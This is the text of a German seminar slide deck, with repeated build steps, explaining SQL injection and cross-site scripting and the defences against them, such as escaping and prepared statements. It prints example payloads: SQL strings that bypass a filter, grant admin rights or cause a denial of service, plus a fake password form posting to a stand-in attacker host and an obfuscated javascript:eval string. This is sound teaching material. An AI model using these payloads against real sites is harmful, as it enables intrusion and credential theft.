Web Application Security: SQL Injection, Cross Site Scripting

w3af

Rico van Endern

12. Februar 2014

Inhaltsverzeichnis

Einleitung

Webanwendungen werden immer ...

- größer
- aufwändiger
- komplexer
- interaktiver

Problem:

Interaktiver → Eingabemöglichkeiten → Sicherheitsrisiko

Einleitung

Webanwendungen werden immer ...

- größer
- aufwändiger
- komplexer
- interaktiver

Problem:

Interaktiver → Eingabemöglichkeiten → Sicherheitsrisiko

Einleitung

Webanwendungen werden immer ...

- größer
- aufwändiger
- komplexer
- interaktiver

Problem:

Interaktiver → Eingabemöglichkeiten → Sicherheitsrisiko

Einleitung

Webanwendungen werden immer ...

- größer
- aufwändiger
- komplexer
- interaktiver

Problem:

Interaktiver → Eingabemöglichkeiten → Sicherheitsrisiko

Einleitung

Webanwendungen werden immer ...

- größer
- aufwändiger
- komplexer
- interaktiver

Problem:

Interaktiver $\rightarrow$ Eingabemöglichkeiten $\rightarrow$ Sicherheitsrisiko

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

w3af - Definition

Was ist "w3af"?

- steht für "Web Application Attack and Aduit Framework"
- Analyse-Toolkit für Angreifbarkeit von Webanwendungen
- Durchsucht die Webanwendung nach Eingabemöglichkeiten
- Analysiert die Eingabemöglichkeiten auf Sicherheitsrisiken
- Sammeln von (unter anderem) Sicherheitsrelevanten Daten
- benutzt Black-Box Verfahren

SQL-Injektion - Definition

Was ist SQL-Injektion?

- Injizieren/Einschleusen von SQL-Code
- ermöglicht durch Einbindung in SQL-Queries
- verändern des SQL-Query durch SQL-Syntax selbst (Steuerzeichen)
- benötigt offensichtlich eine Eingabemöglichkeit

SQL-Injektion - Definition

Was ist SQL-Injektion?

- Injizieren/Einschleusen von SQL-Code
- ermöglicht durch Einbindung in SQL-Queries
- verändern des SQL-Query durch SQL-Syntax selbst (Steuerzeichen)
- benötigt offensichtlich eine Eingabemöglichkeit

SQL-Injektion - Definition

Was ist SQL-Injektion?

- Injizieren/Einschleusen von SQL-Code
- ermöglicht durch Einbindung in SQL-Queries
- verändern des SQL-Query durch SQL-Syntax selbst (Steuerzeichen)
- benötigt offensichtlich eine Eingabemöglichkeit

SQL-Injektion - Definition

Was ist SQL-Injektion?

- Injizieren/Einschleusen von SQL-Code
- ermöglicht durch Einbindung in SQL-Queries
- verändern des SQL-Query durch SQL-Syntax selbst (Steuerzeichen)
- benötigt offensichtlich eine Eingabemöglichkeit

SQL-Injektion - Definition

Was ist SQL-Injektion?

- Injizieren/Einschleusen von SQL-Code
- ermöglicht durch Einbindung in SQL-Queries
- verändern des SQL-Query durch SQL-Syntax selbst (Steuerzeichen)
- benötigt offensichtlich eine Eingabemöglichkeit

SQL-Injektion - Angriffsmöglichkeiten

```
SELECT `vorname` FROM `user` WHERE
  `nachname`="$VARIABLE";
```

$VARIABLE={Mustermann} → Alles Normal

$VARIABLE={Mustermann" OR `admin`="1} → ?

SQL-Injektion - Angriffsmöglichkeiten

```
SELECT `vorname` FROM `user` WHERE
  `nachname`="$VARIABLE";
```

$VARIABLE={Mustermann} → Alles Normal

$VARIABLE={Mustermann" OR `admin`="1} → ?

SQL-Injektion - Angriffsmöglichkeiten

```
SELECT `vorname` FROM `user` WHERE
  `nachname`="$VARIABLE";
```

$VARIABLE={Mustermann} → Alles Normal
$VARIABLE={Mustermann" OR `admin`="1} → ?

SQL-Injektion - Angriffsmöglichkeiten

$VARIABLE={Mustermann" OR 'admin'="1} →

```
SELECT 'vorname' FROM 'user' WHERE
'nachname'="Mustermann" OR 'admin'="1";
```

SQL-Injektion - Angriffsmöglichkeiten

$VARIABLE={Mustermann"; UPDATE ‘user‘ SET ‘admin‘="1"
WHERE ‘username‘="Hacker}

```
SELECT ‘vorname‘ FROM ‘user‘ WHERE
‘nachname‘="Mustermann";
UPDATE ‘user‘ SET ‘admin‘="1" WHERE
‘username‘="Hacker";
```

SQL-Injektion - Angriffsmöglichkeiten

Benötigtes Wissen über Datenbank-Struktur

- Raten
- Intuitiv gewählte Namen
- Fehlermeldungen hervorrufen

SQL-Injektion - Angriffsmöglichkeiten

Benötigtes Wissen über Datenbank-Struktur

- Raten
- Intuitiv gewählte Namen
- Fehlermeldungen hervorrufen

SQL-Injektion - Angriffsmöglichkeiten

Benötigtes Wissen über Datenbank-Struktur

- Raten
- Intuitiv gewählte Namen
- Fehlermeldungen hervorrufen

SQL-Injektion - Angriffsmöglichkeiten

"Denial of Service" (DoS) Angriff

```
$VARIABLE={Mustermann" UNION SELECT
benchmark(999,SHA(MD5(REPEAT('DoS',999)))) UNION
SELECT `vorname` FROM `user` WHERE
`nachname`="Mustermann}
```

```
SELECT `vorname` FROM `user` WHERE
`nachname`="Mustermann"
UNION SELECT
benchmark(999,SHA(MD5(REPEAT('DoS',999))))
UNION SELECT `vorname` FROM
`user` WHERE `nachname`="Mustermann";
```

SQL-Injektion - Angriffsmöglichkeiten

"Denial of Service" (DoS) Angriff

$VARIABLE={Mustermann" UNION SELECT benchmark(999,SHA(MD5(REPEAT('DoS',999)))) UNION SELECT `vorname` FROM `user` WHERE `nachname`="Mustermann}

```
SELECT `vorname` FROM `user` WHERE
`nachname`="Mustermann"
UNION SELECT
benchmark(999,SHA(MD5(REPEAT('DoS',999))))
UNION SELECT `vorname` FROM
`user` WHERE `nachname`="Mustermann";
```

SQL-Injektion -Schutzmöglichkeiten

Schutzmöglichkeiten

- nicht jede Lösung löst alle Probleme
- nicht jede Lösung deckt alle Fälle ab
- nicht jede Lösung ist für jede Anwendung geeignet

SQL-Injektion -Schutzmöglichkeiten

Schutzmöglichkeiten

- nicht jede Lösung löst alle Probleme
- nicht jede Lösung deckt alle Fälle ab
- nicht jede Lösung ist für jede Anwendung geeignet

SQL-Injektion -Schutzmöglichkeiten

Schutzmöglichkeiten

- nicht jede Lösung löst alle Probleme
- nicht jede Lösung deckt alle Fälle ab
- nicht jede Lösung ist für jede Anwendung geeignet

SQL-Injektion -Schutzmöglichkeiten

Atomare Query

- nur genau ein Query pro Aktion
- oft bereits Standardmäßig implementiert
- durch Inline-Query teilweise umgehbar

SQL-Injektion -Schutzmöglichkeiten

Atomare Query

- nur genau ein Query pro Aktion
- oft bereits Standardmäßig implementiert
- durch Inline-Query teilweise umgehbar

SQL-Injektion -Schutzmöglichkeiten

Atomare Query

- nur genau ein Query pro Aktion
- oft bereits Standardmäßig implementiert
- durch Inline-Query teilweise umgehbar

SQL-Injektion -Schutzmöglichkeiten

Maskieren / Escapen

- filtern der Eingabe vor dem Einbinden in SQL-Query
- Steuerzeichen nicht einfach nur entfernen
- Steuerzeichen so darstellen das sie nicht als solche Interpretiert werden (vom DBMS)
- Eigenentwicklung ist hier gefährlich

Vorgefertigte Funktionen

- "mysql_escape_string" → Bit-Ebene
- "mysql_real_escape_string" → Text-Ebene

SQL-Injektion -Schutzmöglichkeiten

Maskieren / Escapen

- filtern der Eingabe vor dem Einbinden in SQL-Query
- Steuerzeichen nicht einfach nur entfernen
- Steuerzeichen so darstellen das sie nicht als solche Interpretiert werden (vom DBMS)
- Eigenentwicklung ist hier gefährlich

Vorgefertigte Funktionen

- "mysql_escape_string" → Bit-Ebene
- "mysql_real_escape_string" → Text-Ebene

SQL-Injektion -Schutzmöglichkeiten

Maskieren / Escapen

- filtern der Eingabe vor dem Einbinden in SQL-Query
- Steuerzeichen nicht einfach nur entfernen
- Steuerzeichen so darstellen das sie nicht als solche Interpretiert werden (vom DBMS)
- Eigenentwicklung ist hier gefährlich

Vorgefertigte Funktionen

- "mysql_escape_string" $\rightarrow$ Bit-Ebene
- "mysql_real_escape_string" $\rightarrow$ Text-Ebene

SQL-Injektion -Schutzmöglichkeiten

Maskieren / Escapen

- filtern der Eingabe vor dem Einbinden in SQL-Query
- Steuerzeichen nicht einfach nur entfernen
- Steuerzeichen so darstellen das sie nicht als solche Interpretiert werden (vom DBMS)
- Eigenentwicklung ist hier gefährlich

Vorgefertigte Funktionen

- "mysql_escape_string" $\rightarrow$ Bit-Ebene
- "mysql_real_escape_string" $\rightarrow$ Text-Ebene

SQL-Injektion -Schutzmöglichkeiten

Maskieren / Escapen

- filtern der Eingabe vor dem Einbinden in SQL-Query
- Steuerzeichen nicht einfach nur entfernen
- Steuerzeichen so darstellen das sie nicht als solche Interpretiert werden (vom DBMS)
- Eigenentwicklung ist hier gefährlich

Vorgefertigte Funktionen

- "mysql_escape_string" $\rightarrow$ Bit-Ebene
- "mysql_real_escape_string" $\rightarrow$ Text-Ebene

SQL-Injektion -Schutzmöglichkeiten

Maskieren / Escapen

- filtern der Eingabe vor dem Einbinden in SQL-Query
- Steuerzeichen nicht einfach nur entfernen
- Steuerzeichen so darstellen das sie nicht als solche Interpretiert werden (vom DBMS)
- Eigenentwicklung ist hier gefährlich

Vorgefertigte Funktionen

- "mysql_escape_string" $\rightarrow$ Bit-Ebene
- "mysql_real_escape_string" $\rightarrow$ Text-Ebene

SQL-Injektion -Schutzmöglichkeiten

Prepared Statements

- Kapselung des Variablenersetzen vom Rest des SQL-Query
- solange ordentlich Implementiert eine fehlerfreie Lösung

SQL-Injektion -Schutzmöglichkeiten

Prepared Statements

- Kapselung des Variablenersetzen vom Rest des SQL-Query
- solange ordentlich Implementiert eine fehlerfreie Lösung

SQL-Injektion -Schutzmöglichkeiten

Prepared Statements

- Kapselung des Variablenersetzen vom Rest des SQL-Query
- solange ordentlich Implementiert eine fehlerfreie Lösung

SQL-Injektion -Schutzmöglichkeiten

Statement vorbereiten:

```
SQL: PREPARE stmt FROM 'SELECT ‘vorname‘ FROM
 ‘user‘ WHERE ‘nachname‘=?';
PHP: $stmt = $mysqli->prepare("SELECT
 ‘vorname‘ FROM ‘user‘ WHERE ‘nachname‘=?")
```

Statement benutzen:

```
SQL: SET @a = "$VARIABLE";
SQL: EXECUTE stmt USING @a;
PHP: $stmt->bind_param("a", $VARIABLE);
PHP: $stmt->execute();
```

SQL-Injektion -Schutzmöglichkeiten

Statement vorbereiten:

```
SQL: PREPARE stmt FROM 'SELECT ‘vorname‘ FROM
‘user‘ WHERE ‘nachname‘=?';
PHP: $stmt = $mysqli->prepare("SELECT
‘vorname‘ FROM ‘user‘ WHERE ‘nachname‘=?")
```

Statement benutzen:

```
SQL: SET @a = "$VARIABLE";
SQL: EXECUTE stmt USING @a;
PHP: $stmt->bind_param("a", $VARIABLE);
PHP: $stmt->execute();
```

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

- kurz XSS
- Einschleusen von Client-Seitigem Code (z.B. Javascript)
- meist in HTML-<script>Blöcken gebunden
- Eingabe muss irgendwo dargestellt werden

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

- kurz XSS
- Einschleusen von Client-Seitigem Code (z.B. Javascript)
- meist in HTML-<script>Blöcken gebunden
- Eingabe muss irgendwo dargestellt werden

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

- kurz XSS
- Einschleusen von Client-Seitigem Code (z.B. Javascript)
- meist in HTML-<script>Blöcken gebunden
- Eingabe muss irgendwo dargestellt werden

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

- kurz XSS
- Einschleusen von Client-Seitigem Code (z.B. Javascript)
- meist in HTML-<script>Blöcken gebunden
- Eingabe muss irgendwo dargestellt werden

Cross-Site-Scripting - Definition

Was ist Cross-Site-Scripting?

- kurz XSS
- Einschleusen von Client-Seitigem Code (z.B. Javascript)
- meist in HTML-<script>Blöcken gebunden
- Eingabe muss irgendwo dargestellt werden

Cross-Site-Scripting - Angriffsmöglichkeiten

Alert Erzeugen:

```
<script type="text/javascript">alert("XSS");</script>
```

DOM-Element Löschen:

```
<script type="text/javascript">
document.getElmentById("ElementName").parentNode.
removeChild(document.getElmentById("ElementName"));
</script>
```

Cross-Site-Scripting - Angriffsmöglichkeiten

Alert Erzeugen:

```
<script type="text/javascript">alert("XSS");</script>
```

DOM-Element Löschen:

```
<script type="text/javascript">
document.getElmentById("ElementName").parentNode.
removeChild(document.getElmentById("ElementName"));
</script>
```

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Angriffsmöglichkeiten

Fake Formular erzeugen:

```
<form action="http://www.scriptkiddy.de/klauen.php"
method="post">
Gib dein Passwort ein: <input type = "text"
name = "passwort"/>
<input type="submit"  value="LOGIN"/>
</form>
```

Was ist sonst noch denkbar...

- komplette Website "On-The-Fly" bauen
- Eingaben abfangen
- Eingaben erzwingen
- Werbung einblenden
- Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...

Cross-Site-Scripting - Schutzmöglichkeit

Steuerzeichen entfernen:

```
$EINGABE = str_replace("<", "&lt", $_POST['InputFeld']);
$EINGABE = str_replace(">", "&gt", $EINGABE);
```

Spezifisch Tags entfernen:

```
$EINGABE = strip_tags($_POST['InputFeld'], $Whitelist)
```

Problem bei Sonderfällen: (Input in vorhandenen Tag eingefügt)

```
javascript:eval(String.fromCharCode(66,79,69,83,69))
```

Cross-Site-Scripting - Schutzmöglichkeit

Steuerzeichen entfernen:

```
$EINGABE = str_replace("<", "&lt", $_POST['InputFeld']);
$EINGABE = str_replace(">", "&gt", $EINGABE);
```

Spezifisch Tags entfernen:

```
$EINGABE = strip_tags($_POST['InputFeld'],$Whitelist)
```

Problem bei Sonderfällen: (Input in vorhandenen Tag eingefügt)

```
javascript:eval(String.fromCharCode(66,79,69,83,69))
```

Cross-Site-Scripting - Schutzmöglichkeit

Steuerzeichen entfernen:

```
$EINGABE = str_replace("<", "&lt", $_POST['InputFeld']);
$EINGABE = str_replace(">", "&gt", $EINGABE);
```

Spezifisch Tags entfernen:

```
$EINGABE = strip_tags($_POST['InputFeld'],$Whitelist)
```

Problem bei Sonderfällen: (Input in vorhandenen Tag eingefügt)

```
javascript:eval(String.fromCharCode(66,79,69,83,69))
```

Literaturverzeichnis

Sichere Webanwendungen	
Kürzel	SW:2009
Autor	Mario Heiderich, Christian Matthies, Johannes Dahse, fukami
ISBN	978-3-8362-1194-9
Zitierlink (UniBib)	http://www.ub.tu-dortmund.de/katalog/titel/1241714

Sichere Webanwendungen mit PHP	
Kürzel	SWmP:2007
Autor	Tobias Wassermann
ISBN	978-3-8266-1754-6
Zitierlink (UniBib)	http://www.ub.tu-dortmund.de/katalog/titel/1188639

SQL injection attacks and defense	
Kürzel	Siaad:2012
Autor	Justin Clarke
ISBN	978-1-59749-973-6
Zitierlink (UniBib)	http://www.ub.tu-dortmund.de/katalog/titel/1414187

Cross-Site-Scripting - Angriffsmöglichkeiten

DEMO